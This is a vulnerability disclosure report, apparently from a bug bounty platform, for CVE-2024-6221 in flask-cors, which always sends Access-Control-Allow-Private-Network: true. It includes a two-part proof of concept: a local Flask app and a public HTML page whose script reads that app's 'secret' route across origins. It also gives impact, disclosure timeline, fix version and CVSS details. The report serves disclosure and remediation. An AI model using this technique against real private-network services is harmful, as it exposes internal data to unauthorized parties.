

Private Network Permission Enabled by default in corydolphin/flask-cors

✓ Valid

Reported on May 12th 2024

Description

The private network cors header, `Access-Control-Allow-Private-Network` is always sent with the value `true`, without any option to configure it. This behavior can potentially expose private network resources to unauthorized external access, leading to significant security risks.

Proof of Concept

```
// Host this in your local network.
from flask import Flask, jsonify
import logging
try:
    # The typical way to import flask-cors
    from flask_cors import cross_origin
except ImportError:
    # Path hack allows examples to be run without installation.
    import os
    parentdir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
    os.sys.path.insert(0, parentdir)

    from flask_cors import cross_origin

app = Flask('FlaskCorsViewBasedExample')
logging.basicConfig(level=logging.INFO)

@app.route("/SecretInformationFromPrivateNetwork", methods=['GET'])
@cross_origin()
def secretStuff():
    return "Super Secret Confidential stuff"

if __name__ == "__main__":
    app.run(debug=True)
```

```
// Host this in a public network
<html>
  <head>
    <title>TrustedSec CORS POC</title>
  </head>
  <body>
    <h1>TrustedSec CORS POC</h>
    <script>
var xhr = new XMLHttpRequest();
var url = 'http://<PrivateNetwork>/SecretInformationFromPrivateNetwork';

xhr.open('GET', url, true);
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4 && xhr.status === 200) {
    console.log(xhr.responseText);
  }
};
xhr.send();

    </script>
  </body>
</html>
```

Impact

The vulnerability in the Flask CORS plugin, where Access-Control-Allow-Private-Network is always set to true, exposes private network resources to unauthorized external access. This can lead to data breaches, unauthorized access to sensitive information, and potential network intrusions, significantly increasing the security risks for internal systems.

-  We are processing your report and will contact the **corydolphin/flask-cors** team within 24 hours. 2 years ago
-  A **GitHub Issue** asking the maintainers to create a SECURITY.md exists 2 years ago
-  We were unable to make contact with the **corydolphin/flask-cors** team automatically, our community manager will try to reach out to them instead. 2 years ago
-  We have sent a magic link to the **corydolphin/flask-cors** team via the email provided in their **security policy** 2 years ago
-  We have sent a follow up to the **corydolphin/flask-cors** team. We will try again in 4 days. 2 years ago
-  We have sent a second follow up to the **corydolphin/flask-cors** team. We will try again in 7 days. 2 years ago

✉ We have sent a third follow up to the **corydolphin/flask-cors** team. We will try again in 14 days. 2 years ago

✉ We have sent a fourth follow up to the **corydolphin/flask-cors** team. We will send a final notification 48 hours before report publication. 2 years ago

  **Marcello** modified the Severity from High (7.1) to Medium (6.5) 2 years ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

  **Marcello** validated this vulnerability 2 years ago

We we're unable to contact the maintainer so validating.

\$ **tomorroisnew** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

 **CVE-2024-6221** assigned to this report. 2 years ago

⚠ We have sent a warning to the **corydolphin/flask-cors** team to inform them that this report will be published in 48 hours a year ago

 This vulnerability has now been published a year ago

 **CVE-2024-6221** has now been published a year ago

 **Leonard Marschke** commented a year ago

Not sure whether I just missed something about bug bounties, but originally I reported this vulnerability back in 2023 directly on GitHub. For me, it is fine to not get the bounty but the issue was well known beforehand.

 **Leonard Marschke** commented a year ago

See also <https://github.com/corydolphin/flask-cors/issues/337>

  **Ethan Silvas** marked this as fixed in **5.0.0** with commit **03aa3f** 10 months ago

\$ **corydolphin** has been awarded the fix bounty ✓

CVE
CVE-2024-6221
Published

Vulnerability Type
CWE-284: Improper Access Control

Severity
Medium (6.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	None
Availability	None

[Open in visual CVSS calculator](#) 

Registry
Pypi

Affected Version
4.0.1

Visibility
Public

Status
Fixed

Disclosure Bounty
\$125

Fix Bounty
\$31.25

Found by



tomorrowisnew_

@tomorroisnew

MIDDLEWEIGHT



Fixed by



corydolphin

@corydolphin

UNPROVEN



